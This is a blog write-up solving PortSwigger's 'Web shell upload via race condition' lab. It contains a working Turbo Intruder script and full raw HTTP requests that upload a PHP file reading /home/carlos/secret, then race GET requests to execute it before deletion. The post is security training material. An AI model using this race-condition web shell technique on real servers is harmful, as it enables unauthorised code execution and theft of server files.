In this post, we’ll be solving the PortSwigger lab: “Web shell upload via race condition”.

To solve the lab, we need to upload a PHP file that reads and displays the contents of the /home/carlos/secret file. Since to demonstrate that we’ve completed the lab, we must submit the contents of this file.
Additionally, the server has strong defenses against malicious file uploads, so we’ll need to exploit a race condition.
In this case, the lab itself provides us with an account to log in, so let’s do that:


Once we’ve logged in, we’re presented with the account profile:

As we can see, we have an option to upload files, specifically it appears to be for updating the profile avatar. Let’s try to take advantage of this option to upload the following PHP file:

First, let’s prepare Burp Suite to intercept the request:


Once we have Burp Suite ready along with the proxy, we select the file and click “Upload”:



Here Burp Suite will intercept the file upload request:

Having the request, let’s move it to the repeater to see the server’s response:

As we can see, it indicates that it only allows JPG and PNG files. Additionally, the lab indicated that there’s a strong defense on the server side, so it doesn’t look like any of the methods seen in the other labs will work.
In this case, what we’re going to exploit is a race condition. This basically consists of the fact that when we send a file that the server doesn’t allow, when we send it, this file is actually uploaded to the server, but milliseconds later, the server compares the file with the configured sanitizations, and if it doesn’t meet any of them, it deletes it. But for a brief period of time, this file remains uploaded on the server.
To exploit this, we’re going to use the “Turbo Intruder” extension. We can install it from Burp Suite itself:

Once installed, we go to the request we had intercepted and sent to the repeater and right-click to send it to turbo intruder:

A tab like the following will open:

Basically in the upper part we have our request, and in the lower part, we have so to speak the programming of what we want the extension to do.
The idea is going to be to use the following code, so we delete the entire lower part of the default code and replace it with the following:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

The idea is that the extension will make the POST request uploading the PHP file, and immediately, it will make 5 GET requests to the absolute path where the file will be uploaded. In such a way that perhaps we’re lucky enough that some of those 5 GET requests are made between the moment when the file has been uploaded and the moment when it has been checked and deleted by the server, in that brief time window.
Understanding this, in the code we just replaced, we’re going to place in the request1 variable the complete POST request, and in the request2 variable, the complete GET request. We can use the HTTP History to obtain the GET request for example:

The idea is for the code to look similar to the following:
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''
POST /my-account/avatar HTTP/1.1
Host: ac4b1f5f1e3dd03bc0f834b600e0000b.web-security-academy.net
Cookie: session=JNvosgi2FoKxUcKBOL4y07fao7UWjLLG
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------330791307811450659691420606466
Content-Length: 549
Origin: https://ac4b1f5f1e3dd03bc0f834b600e0000b.web-security-academy.net
Dnt: 1
Referer: https://ac4b1f5f1e3dd03bc0f834b600e0000b.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------330791307811450659691420606466
Content-Disposition: form-data; name="avatar"; filename="readSecret.php"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------330791307811450659691420606466
Content-Disposition: form-data; name="user"
wiener
-----------------------------330791307811450659691420606466
Content-Disposition: form-data; name="csrf"
eNET4DMt9dleHLPIsCZpUeBUCbDs5JQ2
-----------------------------330791307811450659691420606466--
'''
request2 = '''
GET /files/avatars/readSecret.php HTTP/1.1
Host: ac4b1f5f1e3dd03bc0f834b600e0000b.web-security-academy.net
Cookie: session=JNvosgi2FoKxUcKBOL4y07fao7UWjLLG
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
With this done, we start the attack by clicking the “Attack” button at the bottom:


A new window will open where we’ll see the different requests, and if we notice out of the 5 GET requests, 3 resulted in a 404 error, however, 2 requests returned 200, so these two requests were made in the brief window we were talking about earlier. At the same time, if we click on one of them, we can see the output of the interpreted PHP code, in other words, the contents of the secret file.
With this, we submit the solution:


And this way, we complete the lab:


Links of interest: